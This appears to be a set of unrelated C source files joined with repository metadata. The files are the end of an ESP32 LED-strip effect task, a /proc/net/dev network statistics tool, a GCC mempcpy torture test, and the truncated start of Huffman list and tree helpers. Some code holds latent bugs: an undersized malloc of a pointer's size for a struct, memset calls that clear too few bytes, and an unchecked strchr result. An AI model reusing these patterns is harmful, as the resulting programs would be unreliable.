temp_microseconds = esp_timer_get_time() - (effect_timed_on_fade_out_args->off_time_ms)*1000;
/* copy RGB value to current effect_color at the initial state */
effect_color.red = effect_timed_on_fade_out_args->effect_color.red;
effect_color.green = effect_timed_on_fade_out_args->effect_color.green;
effect_color.blue = effect_timed_on_fade_out_args->effect_color.blue;
if(effect_timed_on_fade_out_args->counter == 0)
{
internal_counter = 1;
}else
{
internal_counter = effect_timed_on_fade_out_args->counter;
}
ESP_LOGD(TAG, "Effect: TIMED_ON_FADE_OUT.\n Color = %d,%d,%d\n Fade In Time = %d\n Counter: %d"
,effect_timed_on_fade_out_args->effect_color.red
,effect_timed_on_fade_out_args->effect_color.green
,effect_timed_on_fade_out_args->effect_color.blue
,effect_timed_on_fade_out_args->fade_out_speed
,effect_timed_on_fade_out_args->counter);
break;
case TIMED_FADE_IN_OFF:
effect_timed_fade_in_off_args = (struct effect_timed_fade_in_off_args_t *)curent_led_strip_effect.effect_args;
temp_microseconds = esp_timer_get_time() - (effect_timed_fade_in_off_args->on_time_ms)*1000;
effect_timed_fade_in_off_args->step_counter = 0;
effect_color.red = 0;
effect_color.green = 0;
effect_color.blue = 0;
if(effect_timed_fade_in_off_args->counter == 0)
{
internal_counter = 1;
}else
{
internal_counter = effect_timed_fade_in_off_args->counter;
}
ESP_LOGD(TAG, "Effect: TIMED_FADE_IN_OFF.\n Color = %d,%d,%d\n Fade In Time = %d\n Counter: %d"
,effect_timed_fade_in_off_args->effect_color.red
,effect_timed_fade_in_off_args->effect_color.green
,effect_timed_fade_in_off_args->effect_color.blue
,effect_timed_fade_in_off_args->fade_in_speed
,effect_timed_fade_in_off_args->counter);
break;
case CLEAR:
break;
default:
break;
};
received_led_strip_effect_from_queue.restart_effect = false;
}
}else /*Otherwise, if there is no new data on Queue, */
{
switch (curent_led_strip_effect.effect_type) {
case RGB:
switch(effect_rgb_args->rgb_effect_state)
{
case ALL_RED:
effect_color.red = 255;
effect_color.green = 0;
effect_color.blue = 0;
effect_rgb_args->rgb_effect_state++;
break;
case ALL_GREEN:
effect_color.red = 0;
effect_color.green = 255;
effect_color.blue = 0;
effect_rgb_args->rgb_effect_state++;
break;
case ALL_BLUE:
effect_color.red = 0;
effect_color.green = 0;
effect_color.blue = 255;
effect_rgb_args->rgb_effect_state=ALL_RED;
break;
default:
effect_rgb_args->rgb_effect_state=ALL_RED;
break;
}
for (uint16_t index = 0; index < curent_led_strip_effect.led_strip->led_strip_length; index++) {
led_strip_set_pixel_color(curent_led_strip_effect.led_strip, index, &effect_color);
}
led_strip_show(curent_led_strip_effect.led_strip);
vTaskDelay((10000-39*effect_rgb_args->speed)/portTICK_RATE_MS);
break;
case COLOR:
for (uint16_t index = 0; index < curent_led_strip_effect.led_strip->led_strip_length; index++) {
led_strip_set_pixel_color(curent_led_strip_effect.led_strip, index, &effect_static_color_args->effect_color);
}
led_strip_show(curent_led_strip_effect.led_strip);
vTaskDelay(LED_STRIP_REFRESH_PERIOD_MS / portTICK_PERIOD_MS);
break;
case TIMED_ON_FADE_OUT:
if(internal_counter > 0)
{
if( (esp_timer_get_time() - temp_microseconds) > (effect_timed_on_fade_out_args->off_time_ms*1000))
{
if(effect_color.red > 0
|| effect_color.green > 0
|| effect_color.blue > 0)
{
if(effect_color.red >= effect_timed_on_fade_out_args->fade_step)
effect_color.red-=effect_timed_on_fade_out_args->fade_step;
else
effect_color.red = 0;
if(effect_color.green >= effect_timed_on_fade_out_args->fade_step)
effect_color.green-=effect_timed_on_fade_out_args->fade_step;
else
effect_color.green = 0;
if(effect_color.blue >= effect_timed_on_fade_out_args->fade_step)
effect_color.blue-=effect_timed_on_fade_out_args->fade_step;
else
effect_color.blue = 0;
effect_timed_on_fade_out_args->step_counter =
max(max(effect_color.red, effect_color.green),effect_color.blue);
if(effect_timed_on_fade_out_args->step_counter == 0)
{
temp_microseconds = esp_timer_get_time();
}
}else
{
/* If effect counter is 0, run continually. Otherwise, decrease internal counter and when it reaches 0, clear the led strip */
if(effect_timed_on_fade_out_args->counter != 0)
internal_counter--;
/* check if internal counter is different from 0, if not, do not reload effect_timed_on_fade_out_args->effect_color to effect_color*/
if(internal_counter != 0)
{
/* copy RGB value to current effect_color at the initial state */
effect_color.red = effect_timed_on_fade_out_args->effect_color.red;
effect_color.green = effect_timed_on_fade_out_args->effect_color.green;
effect_color.blue = effect_timed_on_fade_out_args->effect_color.blue;
}
}
}
}
if( internal_counter == 0 )
{
curent_led_strip_effect.effect_type = CLEAR;
curent_led_strip_effect.effect_args = NULL;
}
for (index = 0; index < curent_led_strip_effect.led_strip->led_strip_length; index++) {
led_strip_set_pixel_color(curent_led_strip_effect.led_strip, index, &effect_color);
}
led_strip_show(curent_led_strip_effect.led_strip);
vTaskDelay((effect_timed_on_fade_out_args->fade_out_speed + LED_STRIP_REFRESH_PERIOD_MS)/portTICK_RATE_MS);
break;
case TIMED_FADE_IN_OFF:
if(internal_counter > 0)
{
if( (esp_timer_get_time() - temp_microseconds) > (effect_timed_fade_in_off_args->on_time_ms*1000))
{
if(effect_color.red < (effect_timed_fade_in_off_args->effect_color.red)
|| effect_color.green < (effect_timed_fade_in_off_args->effect_color.green)
|| effect_color.blue < (effect_timed_fade_in_off_args->effect_color.blue) )
{
if(effect_color.red <= (effect_timed_fade_in_off_args->effect_color.red - effect_timed_fade_in_off_args->fade_step) )
effect_color.red+=effect_timed_fade_in_off_args->fade_step;
else
effect_color.red = effect_timed_fade_in_off_args->effect_color.red;
if(effect_color.green <= (effect_timed_fade_in_off_args->effect_color.green - effect_timed_fade_in_off_args->fade_step) )
effect_color.green+=effect_timed_fade_in_off_args->fade_step;
else
effect_color.green = effect_timed_fade_in_off_args->effect_color.green;
if(effect_color.blue <= (effect_timed_fade_in_off_args->effect_color.blue - effect_timed_fade_in_off_args->fade_step) )
effect_color.blue+=effect_timed_fade_in_off_args->fade_step;
else
effect_color.blue = effect_timed_fade_in_off_args->effect_color.blue;
effect_timed_fade_in_off_args->step_counter =
max(max(effect_color.red, effect_color.green),effect_color.blue);
if(effect_timed_fade_in_off_args->step_counter ==
max(max(effect_timed_fade_in_off_args->effect_color.red,effect_timed_fade_in_off_args->effect_color.green),effect_timed_fade_in_off_args->effect_color.blue)
)
{
temp_microseconds = esp_timer_get_time();
}
}else
{
/* If effect counter is 0, run continually. Otherwise, decrease internal counter and when it reaches 0, clear the led strip */
if(effect_timed_fade_in_off_args->counter != 0)
internal_counter--;
/* check if internal counter is different from 0, if not, do not reload effect_timed_on_fade_out_args->effect_color to effect_color*/
if(internal_counter != 0)
{
/* copy RGB value to current effect_color at the initial state */
effect_color.red = 0;
effect_color.green = 0;
effect_color.blue = 0;
}
}
}
}
if( internal_counter == 0 )
{
curent_led_strip_effect.effect_type = CLEAR;
curent_led_strip_effect.effect_args = NULL;
}
for (index = 0; index < curent_led_strip_effect.led_strip->led_strip_length; index++) {
led_strip_set_pixel_color(curent_led_strip_effect.led_strip, index, &effect_color);
}
led_strip_show(curent_led_strip_effect.led_strip);
vTaskDelay((effect_timed_fade_in_off_args->fade_in_speed + LED_STRIP_REFRESH_PERIOD_MS)/portTICK_RATE_MS);
break;
case CLEAR:
memset(&effect_color, 0, sizeof(struct led_color_t));
for (uint16_t index = 0; index < curent_led_strip_effect.led_strip->led_strip_length; index++) {
led_strip_set_pixel_color(curent_led_strip_effect.led_strip, index, &effect_color);
}
led_strip_show(curent_led_strip_effect.led_strip);
vTaskDelay(LED_STRIP_REFRESH_PERIOD_MS / portTICK_PERIOD_MS);
break;
default:
vTaskDelete(NULL);
break;
}
}
}
vTaskDelete(NULL);
}
/**
* @brief Initialize task to handle LED strip effects
*
* @param pointer to led_strip strucutre
* @param effect_type enum for pre-defined effects
* @param arguments of the effect type
*
* @return
* -ESP_OK On success
* -ESP_FAIL Generic code indicating failure
* -ESP_ERR_INVALID_STATE if task (and led strip) has been already initialized
*
**/
esp_err_t led_strip_init_effect_handler(struct led_strip_t *led_strip, effect_type_t effect_type, void *effect_arg)
{
struct led_strip_effect_t initial_led_strip_effect;
esp_err_t ret = ESP_OK;
/* Check if effect queue was not previously created */
if(effect_queue_handle == NULL)
{
if( (effect_queue_handle = xQueueCreate(10, sizeof(struct led_strip_effect_t))) == pdFALSE )
{
ret = ESP_FAIL;
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
return ret;
}
}else /* If effect queue was previously created, indicates an error */
{
ret = ESP_ERR_INVALID_STATE;
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
return ret;
}
initial_led_strip_effect.led_strip = led_strip;
initial_led_strip_effect.effect_type = effect_type;
initial_led_strip_effect.effect_args = effect_arg;
initial_led_strip_effect.restart_effect = true;
if( xQueueSend( effect_queue_handle, ( void * ) &initial_led_strip_effect, ( TickType_t ) 0 ) != pdPASS )
{
ret = ESP_FAIL;
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
return ret;
}
if(led_strip_effect_task_handle == NULL)
{
if (xTaskCreate(led_strip_effect_task,
"led_strip_effect_task",
LED_STRIP_EFFECT_TASK_SIZE,
NULL,
LED_STRIP_TASK_PRIORITY-1,
&led_strip_effect_task_handle)
!= pdTRUE)
{
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
return ret = ESP_FAIL;
//FIXME: if task fails to initialize, clear queue before returning
}
}else
{
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
return ret = ESP_ERR_INVALID_STATE;
}
return ESP_OK;
}
/**
* @brief Initialize task to create pre-defined effects
*
* @param led_strip_effect pointer to LED effect context
* @param effect_type enum for pre-defined effects
* @param effect_speed overall effect speed (based on visual effect for each pre-defined effect)
* @param red color of effect from 0 to 255
* @param green color of effect from 0 to 255
* @param blue color of effect from 0 to 255
*
* @return
* -ESP_OK On success
* -ESP_FAIL Generic code indicating failure
*
**/
//TODO: insert restart_effect as a input parameter
esp_err_t led_strip_set_effect(struct led_strip_t *led_strip, effect_type_t effect_type, void *effect_arg)
{
struct led_strip_effect_t led_strip_effect;
esp_err_t ret = ESP_OK;
led_strip_effect.led_strip = led_strip;
led_strip_effect.effect_type = effect_type;
led_strip_effect.effect_args = effect_arg;
led_strip_effect.restart_effect = true;
if( led_strip_effect_task_handle == NULL )
{
if( (ret = led_strip_init_effect_handler(led_strip, effect_type, effect_arg)) != ESP_OK)
{
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
return ret;
}
}else
{
if( xQueueSend( effect_queue_handle, ( void * ) &led_strip_effect, ( TickType_t ) 0 ) != pdPASS )
{
ret = ESP_FAIL;
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
return ret;
}
}
return ret;
}
/**
* @brief Get current effect being showed
*
* @param led_strip_effect pointer to LED effect context
*
* @return
* -a led_strip_effect_t structure 0-valued if effect handler is not being executed
* -led_strip_effect structure with current data
*
**/
struct led_strip_effect_t led_strip_get_effect(struct led_strip_t *led_strip_to_check)
{
struct led_strip_effect_t null_led_strip_effect;
if(led_strip_to_check == curent_led_strip_effect.led_strip && led_strip_effect_task_handle != NULL)
{
return curent_led_strip_effect;
}else
{
memset(&null_led_strip_effect, 0, sizeof(struct led_strip_effect_t));
return null_led_strip_effect;
}
}
/**
* @brief Stop and Delete the task to handle LED strip effects and clears the LED strip
*
* @param pointer to led_strip strucutre
*
* @return
* -ESP_OK On success
* -ESP_ERR_NOT_FOUND If effect queue or task handler was not found
*
**/
esp_err_t led_strip_delete_effect_handler(struct led_strip_t *led_strip)
{
esp_err_t ret = ESP_OK;
if(led_strip_effect_task_handle != NULL)
{
vTaskDelete(led_strip_effect_task_handle);
led_strip_effect_task_handle = NULL;
}else
{
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
ret = ESP_ERR_NOT_FOUND;
}
/* Check if effect queue was not previously created */
if(effect_queue_handle != NULL)
{
vQueueDelete(effect_queue_handle);
effect_queue_handle = NULL;
}else /* If effect queue was not previously created, indicates an error */
{
ESP_LOGE(TAG, "Error in %s, line %d: %s in function %s", __FILE__, __LINE__, esp_err_to_name(ret), __func__);
ret = ESP_ERR_NOT_FOUND;
}
vTaskDelay(LED_STRIP_REFRESH_PERIOD_MS / portTICK_PERIOD_MS);
led_strip_clear(led_strip);
return ret;
}
| 2.09375 | 2 |
2024-11-18T20:50:24.697299+00:00 | 2016-09-11T22:06:37 | 915bbe512df36f68d36250f2e2e6d2356003710c | {
"blob_id": "915bbe512df36f68d36250f2e2e6d2356003710c",
"branch_name": "refs/heads/master",
"committer_date": "2016-09-11T22:06:37",
"content_id": "9f910fba61ae08df13ee5378ba019dae87e56308",
"detected_licenses": [
"MIT"
],
"directory_id": "a830bffea1f839d159777ae57129cc8dcbc64d3a",
"extension": "c",
"filename": "devstat.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 67956648,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 6508,
"license": "MIT",
"license_type": "permissive",
"path": "/devstat.c",
"provenance": "stackv2-0118.json.gz:38409",
"repo_name": "Guilew/devstat",
"revision_date": "2016-09-11T22:06:37",
"revision_id": "028a93c019e9ae154c7c9f281cb97e0a35b4e4d9",
"snapshot_id": "cc17618e68b82773d3b5d59dda31fbbecf2d7c1f",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Guilew/devstat/028a93c019e9ae154c7c9f281cb97e0a35b4e4d9/devstat.c",
"visit_date": "2020-07-25T17:12:37.933211"
} | stackv2 | /** @file devstat.c
* @mainpage Devstat
*
* The purpose of this software is to implement a simple tool to show network
* interface usage: Packets per second (PPS) and throughput.
*
* Usage:
* devstat [-i <interface>] [-r <refresh interval (seconds)>] [-c <clear>]
* devstat -i eth0 -r 1
* where:
* <interface>: Interface to monitor
* <refresh interval>: Refresh interval (seconds)
* <clear>: Clear screen before printing the new values
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define STR_VERSION "1.0"
#define DEV_STATS_PATH "/proc/net/dev"
#define MAXIFNUM 50 /* Maximum interfaces to monitor */
#ifndef IFNAMSIZ
#define IFNAMSIZ 16
#endif
#define SUCCESS 0
#define TRUE 1
#define FALSE 0
#ifdef PROG_DEBUG
#define PRINT_DEBUG(fmt, ...) printf ("DBG(%s => %s():%d): "fmt"\n", __FILE__, __FUNCTION__, __LINE__ ,##__VA_ARGS__)
#else
#define PRINT_DEBUG(fmt, ...)
#endif
typedef struct devstat_s
{
char ifname[IFNAMSIZ + 1];
unsigned long rxBytes;
unsigned long rxPackets;
unsigned long txBytes;
unsigned long txPackets;
} devstat_t;
int readProc(devstat_t *pDevstat);
char ifname[IFNAMSIZ + 1];
char isAll = TRUE;
void printUsage(void)
{
printf(
"Devstat - version %s\n\nUsage: devstat [-i <interface>] [-r <refresh interval(s)>] [-c <clear>]\n",
STR_VERSION);
}
int main(int argc, char *argv[])
{
int sleepTime = 1;
int ifNum, c, i; /* getopt */
float txMbps, rxMbps, txMbpsMax[MAXIFNUM], rxMbpsMax[MAXIFNUM];
unsigned int txPPS, rxPPS, txPPSMax[MAXIFNUM], rxPPSMax[MAXIFNUM];
devstat_t devstat[MAXIFNUM], devstatOld[MAXIFNUM], *pDevstat, *pDevstatOld;
unsigned char clearScreen = FALSE;
memset(txPPSMax, 0, MAXIFNUM);
memset(rxPPSMax, 0, MAXIFNUM);
memset(txMbpsMax, 0, MAXIFNUM);
memset(rxMbpsMax, 0, MAXIFNUM);
/* command line options */
while ((c = getopt(argc, argv, "hi:r:c")) != EOF)
{
switch (c)
{
case 'i':
memset(ifname, 0, IFNAMSIZ + 1);
strncpy(ifname, optarg, IFNAMSIZ);
PRINT_DEBUG ("Selected interface: \"%s\"", ifname);
isAll = FALSE;
break;
case 'r':
sleepTime = strtol(optarg, NULL, 10);
if (sleepTime < 1)
{
sleepTime = 1;
}
break;
case 'c':
clearScreen = TRUE;
break;
case 'h':
default:
printUsage();
return SUCCESS;
}
}
ifNum = readProc(&devstatOld[0]);
while (1)
{
sleep(sleepTime);
ifNum = readProc(&devstat[0]);
if (ifNum > MAXIFNUM)
{
ifNum = MAXIFNUM;
}
pDevstat = &devstat[0];
pDevstatOld = &devstatOld[0];
for (i = 0; ifNum > 0; --ifNum, ++pDevstat, ++pDevstatOld, ++i)
{
txMbps = (float) ((pDevstat->txBytes - pDevstatOld->txBytes) / sleepTime)
* 8 / 1000000;
rxMbps = (float) ((pDevstat->rxBytes - pDevstatOld->rxBytes) / sleepTime)
* 8 / 1000000;
txPPS = (unsigned int) (pDevstat->txPackets - pDevstatOld->txPackets) / sleepTime;
rxPPS = (unsigned int) (pDevstat->rxPackets - pDevstatOld->rxPackets) / sleepTime;
// Max tx/rx throughput
if (txMbps < 10000)
{
if (txMbpsMax[i] < txMbps)
{
txMbpsMax[i] = txMbps;
}
}
if (rxMbps < 10000)
{
if (rxMbpsMax[i] < rxMbps)
{
rxMbpsMax[i] = rxMbps;
}
}
// Max txpps/rxpps
if (txPPS < 1000000)
{
if (txPPSMax[i] < txPPS)
{
txPPSMax[i] = txPPS;
}
}
if (rxPPS < 1000000)
{
if (rxPPSMax[i] < rxPPS)
{
rxPPSMax[i] = rxPPS;
}
}
if (clearScreen)
{
system("clear");
}
printf("Interface %s:\n", pDevstat->ifname);
printf("Tx/Rx Rate:\t%.2f Mbps / %.2f Mbps - Total: %.2f Mbps\n",
txMbps, rxMbps, txMbps + rxMbps);
printf("Tx/Rx PPS:\t%u / %u - Total: %u - Diff: %d\n", txPPS, rxPPS,
txPPS + rxPPS, rxPPS - txPPS);
printf("Tx/Rx Max Rate:\t%.2f Mbps / %.2f Mbps - Total: %.2f Mbps\n",
txMbpsMax[i], rxMbpsMax[i], txMbpsMax[i] + rxMbpsMax[i]);
printf("Tx/Rx Max PPS:\t%u / %u - Total: %u - Diff: %d\n",
txPPSMax[i], rxPPSMax[i], txPPSMax[i] + rxPPSMax[i],
rxPPSMax[i] - txPPSMax[i]);
printf("+-------------------------------------------------------+\n");
fflush(NULL);
memcpy(pDevstatOld, pDevstat, sizeof(devstat_t));
}
}
return SUCCESS;
}
/*!
* @brief Parse interfaces from /proc/net/dev.
* @param[in] *pDevstat
* @return number of interfaces or 0 (error).
*/
int readProc(devstat_t *pDevstat)
{
char buff[1024];
char line = 0, found = FALSE;
FILE *fp = fopen(DEV_STATS_PATH, "r");
char *fmt, *ptrLine;
char ifCount = MAXIFNUM;
int ifNum = 0;
if (!fp)
{
printf("Open %s file error.\n", DEV_STATS_PATH);
return 0;
}
/*
* Inter-| Receive | Transmit
face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed
lo: 2356 32 0 0 0 0 0 0 2356 32 0 0 0 0 0 0
eth0: 1217210 9400 0 0 0 8 0 11 1207648 8019 0 0 0 0 0 0
eth1:12039952 21982 6 0 0 6 0 0 47000710 34813 0 0 0 821 0 0
*/
fmt = "%lu %lu %*lu %*lu %*lu %*lu %*lu %*lu %lu %lu";
while (fgets(buff, sizeof(buff) - 1, fp))
{
line++;
PRINT_DEBUG ("Line: \"%s\"", buff);
if (line <= 2)
continue;
if (!isAll && !strstr(buff, ifname))
continue;
/* Ignores interfaces */
if (strstr(buff, "lo:"))
continue;
if (strstr(buff, "gre0:"))
continue;
if (strstr(buff, "br0:"))
continue;
if (strstr(buff, "tunl0:"))
continue;
/********************************/
memset(pDevstat, 0, sizeof(devstat_t));
if (!isAll)
{
found = TRUE;
PRINT_DEBUG ("Found interface %s", ifname);
}
ptrLine = strchr(buff, ':');
*ptrLine = 0;
/*******************************/
sscanf(buff, "%s", pDevstat->ifname);
ptrLine++;
sscanf(ptrLine, fmt, &pDevstat->rxBytes, &pDevstat->rxPackets,
&pDevstat->txBytes, &pDevstat->txPackets);
PRINT_DEBUG ("Ifname: %s ; Rx Bytes: %lu ; Rx Packets: %lu ; Tx Bytes: %lu ; Tx Packets: %lu",
pDevstat->ifname, pDevstat->rxBytes, pDevstat->rxPackets,
pDevstat->txBytes, pDevstat->txPackets);
--ifCount;
++ifNum;
++pDevstat;
if (!ifCount)
{
break;
}
if (!isAll && found)
{
break;
}
}
fclose(fp);
PRINT_DEBUG ("Interfaces found = %d", ifNum);
return ifNum;
}
| 2.90625 | 3 |
2024-11-18T20:50:25.476276+00:00 | 2019-01-06T17:21:50 | 8a56c6a7203fcf2fb92c4f6c5ab23b018e509216 | {
"blob_id": "8a56c6a7203fcf2fb92c4f6c5ab23b018e509216",
"branch_name": "refs/heads/master",
"committer_date": "2019-01-06T17:21:50",
"content_id": "0bb4cc346789d2b0b557cb759222be65890ff485",
"detected_licenses": [
"NCSA"
],
"directory_id": "971c5ae1d87cdfbb97723485c3d76c17395b82b0",
"extension": "c",
"filename": "mempcpy-2.c",
"fork_events_count": 0,
"gha_created_at": "2019-01-12T01:42:16",
"gha_event_created_at": "2019-01-12T01:42:16",
"gha_language": null,
"gha_license_id": "NOASSERTION",
"github_id": 165334058,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4535,
"license": "NCSA",
"license_type": "permissive",
"path": "/x86-semantics/tests/gcc.c-torture/builtins/src/mempcpy-2.c",
"provenance": "stackv2-0118.json.gz:39439",
"repo_name": "mewbak/binary-decompilation",
"revision_date": "2019-01-06T17:21:50",
"revision_id": "f58da4c53cd823edc4bbbad6b647dbcefd7e64f8",
"snapshot_id": "7d0bf64d6cd01bfa5f5fc912d74a85ce81124959",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/mewbak/binary-decompilation/f58da4c53cd823edc4bbbad6b647dbcefd7e64f8/x86-semantics/tests/gcc.c-torture/builtins/src/mempcpy-2.c",
"visit_date": "2020-04-16T06:08:14.983946"
} | stackv2 | #include "mempcpy-2-lib.c"
#include "lib/main.c"
/* Copyright (C) 2003 Free Software Foundation.
Ensure that builtin mempcpy and stpcpy perform correctly.
Written by Jakub Jelinek, 21/05/2003. */
extern void abort (void);
typedef __SIZE_TYPE__ size_t;
extern void *mempcpy (void *, const void *, size_t);
extern int memcmp (const void *, const void *, size_t);
extern int inside_main;
long buf1[64];
char *buf2 = (char *) (buf1 + 32);
long buf5[20];
char buf7[20];
void
__attribute__((noinline))
test (long *buf3, char *buf4, char *buf6, int n)
{
int i = 0;
/* These should probably be handled by store_by_pieces on most arches. */
if (mempcpy (buf1, "ABCDEFGHI", 9) != (char *) buf1 + 9
|| memcmp (buf1, "ABCDEFGHI\0", 11))
abort ();
if (mempcpy (buf1, "abcdefghijklmnopq", 17) != (char *) buf1 + 17
|| memcmp (buf1, "abcdefghijklmnopq\0", 19))
abort ();
if (__builtin_mempcpy (buf3, "ABCDEF", 6) != (char *) buf1 + 6
|| memcmp (buf1, "ABCDEFghijklmnopq\0", 19))
abort ();
if (__builtin_mempcpy (buf3, "a", 1) != (char *) buf1 + 1
|| memcmp (buf1, "aBCDEFghijklmnopq\0", 19))
abort ();
if (mempcpy ((char *) buf3 + 2, "bcd" + ++i, 2) != (char *) buf1 + 4
|| memcmp (buf1, "aBcdEFghijklmnopq\0", 19)
|| i != 1)
abort ();
/* These should probably be handled by move_by_pieces on most arches. */
if (mempcpy ((char *) buf3 + 4, buf5, 6) != (char *) buf1 + 10
|| memcmp (buf1, "aBcdRSTUVWklmnopq\0", 19))
abort ();
if (__builtin_mempcpy ((char *) buf1 + ++i + 8, (char *) buf5 + 1, 1)
!= (char *) buf1 + 11
|| memcmp (buf1, "aBcdRSTUVWSlmnopq\0", 19)
|| i != 2)
abort ();
if (mempcpy ((char *) buf3 + 14, buf6, 2) != (char *) buf1 + 16
|| memcmp (buf1, "aBcdRSTUVWSlmnrsq\0", 19))
abort ();
if (mempcpy (buf3, buf5, 8) != (char *) buf1 + 8
|| memcmp (buf1, "RSTUVWXYVWSlmnrsq\0", 19))
abort ();
if (mempcpy (buf3, buf5, 17) != (char *) buf1 + 17
|| memcmp (buf1, "RSTUVWXYZ01234567\0", 19))
abort ();
__builtin_memcpy (buf3, "aBcdEFghijklmnopq\0", 19);
/* These should be handled either by movmemendM or mempcpy
call. */
if (mempcpy ((char *) buf3 + 4, buf5, n + 6) != (char *) buf1 + 10
|| memcmp (buf1, "aBcdRSTUVWklmnopq\0", 19))
abort ();
if (__builtin_mempcpy ((char *) buf1 + ++i + 8, (char *) buf5 + 1, n + 1)
!= (char *) buf1 + 12
|| memcmp (buf1, "aBcdRSTUVWkSmnopq\0", 19)
|| i != 3)
abort ();
if (mempcpy ((char *) buf3 + 14, buf6, n + 2) != (char *) buf1 + 16
|| memcmp (buf1, "aBcdRSTUVWkSmnrsq\0", 19))
abort ();
i = 1;
/* These might be handled by store_by_pieces. */
if (mempcpy (buf2, "ABCDEFGHI", 9) != buf2 + 9
|| memcmp (buf2, "ABCDEFGHI\0", 11))
abort ();
if (mempcpy (buf2, "abcdefghijklmnopq", 17) != buf2 + 17
|| memcmp (buf2, "abcdefghijklmnopq\0", 19))
abort ();
if (__builtin_mempcpy (buf4, "ABCDEF", 6) != buf2 + 6
|| memcmp (buf2, "ABCDEFghijklmnopq\0", 19))
abort ();
if (__builtin_mempcpy (buf4, "a", 1) != buf2 + 1
|| memcmp (buf2, "aBCDEFghijklmnopq\0", 19))
abort ();
if (mempcpy (buf4 + 2, "bcd" + i++, 2) != buf2 + 4
|| memcmp (buf2, "aBcdEFghijklmnopq\0", 19)
|| i != 2)
abort ();
/* These might be handled by move_by_pieces. */
if (mempcpy (buf4 + 4, buf7, 6) != buf2 + 10
|| memcmp (buf2, "aBcdRSTUVWklmnopq\0", 19))
abort ();
if (__builtin_mempcpy (buf2 + i++ + 8, buf7 + 1, 1)
!= buf2 + 11
|| memcmp (buf2, "aBcdRSTUVWSlmnopq\0", 19)
|| i != 3)
abort ();
if (mempcpy (buf4 + 14, buf6, 2) != buf2 + 16
|| memcmp (buf2, "aBcdRSTUVWSlmnrsq\0", 19))
abort ();
__builtin_memcpy (buf4, "aBcdEFghijklmnopq\0", 19);
/* These should be handled either by movmemendM or mempcpy
call. */
if (mempcpy (buf4 + 4, buf7, n + 6) != buf2 + 10
|| memcmp (buf2, "aBcdRSTUVWklmnopq\0", 19))
abort ();
if (__builtin_mempcpy (buf2 + i++ + 8, buf7 + 1, n + 1)
!= buf2 + 12
|| memcmp (buf2, "aBcdRSTUVWkSmnopq\0", 19)
|| i != 4)
abort ();
if (mempcpy (buf4 + 14, buf6, n + 2) != buf2 + 16
|| memcmp (buf2, "aBcdRSTUVWkSmnrsq\0", 19))
abort ();
}
void
main_test (void)
{
/* All these tests are allowed to call mempcpy/stpcpy. */
inside_main = 0;
__builtin_memcpy (buf5, "RSTUVWXYZ0123456789", 20);
__builtin_memcpy (buf7, "RSTUVWXYZ0123456789", 20);
test (buf1, buf2, "rstuvwxyz", 0);
}
| 2.40625 | 2 |
2024-11-18T20:50:26.323787+00:00 | 2019-03-29T17:25:21 | c9a4c90ad4ca72ddd7ad0ae8a4029b7eddfb6aa7 | {
"blob_id": "c9a4c90ad4ca72ddd7ad0ae8a4029b7eddfb6aa7",
"branch_name": "refs/heads/master",
"committer_date": "2019-03-29T17:25:21",
"content_id": "9786f1fd4701cf8206bda199ebe4b195df94eff3",
"detected_licenses": [
"MIT"
],
"directory_id": "ff94a6c3662ffb79d8d329e336e276d797ba6823",
"extension": "c",
"filename": "Comparations.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 177970362,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4834,
"license": "MIT",
"license_type": "permissive",
"path": "/Huffman-Algorithm/Huffman-Algorithm/Test_Functions/Comparations.c",
"provenance": "stackv2-0118.json.gz:39952",
"repo_name": "leticia16/Huffman-Project",
"revision_date": "2019-03-29T17:25:21",
"revision_id": "9b11d28f9427ddc87860cafd736bebb011f86b9c",
"snapshot_id": "e5c1ace8ab6e7983a9fdb11a179e0c520d7f9d03",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/leticia16/Huffman-Project/9b11d28f9427ddc87860cafd736bebb011f86b9c/Huffman-Algorithm/Huffman-Algorithm/Test_Functions/Comparations.c",
"visit_date": "2020-05-02T12:54:27.174086"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
typedef long long int LLI;
typedef struct list{
LLI item;
struct list *next;
}Head;
typedef Head* LIST;
typedef struct tree{
LLI value;
struct tree *left;
struct tree *right;
}Tree;
typedef Tree* TREE;
typedef unsigned int U_int;
LIST create_empty_list()
{
LIST new_list = (LIST) malloc(sizeof(LIST));
new_list -> item = 0;
new_list -> next = NULL;
return new_list;
}
TREE create_empty_tree()
{
return NULL;
}
LIST createList(LLI item)
{
LIST new_list = (LIST) malloc(sizeof(Head));
new_list -> item = item;
new_list -> next = NULL;
return new_list;
}
LIST add_list(LIST h, LLI item)
{
if(h == NULL)
{
return createList(item);
}
h -> next = add_list(h -> next, item);
return h;
}
TREE createTree(LLI value, TREE right, TREE left)
{
TREE new_tree = (TREE) malloc(sizeof(Tree));
new_tree -> value = value;
new_tree -> right = right;
new_tree -> left = left;
return new_tree;
}
TREE add_tree(TREE t, LLI item)
{
if(t == NULL) return createTree(item,NULL, NULL);
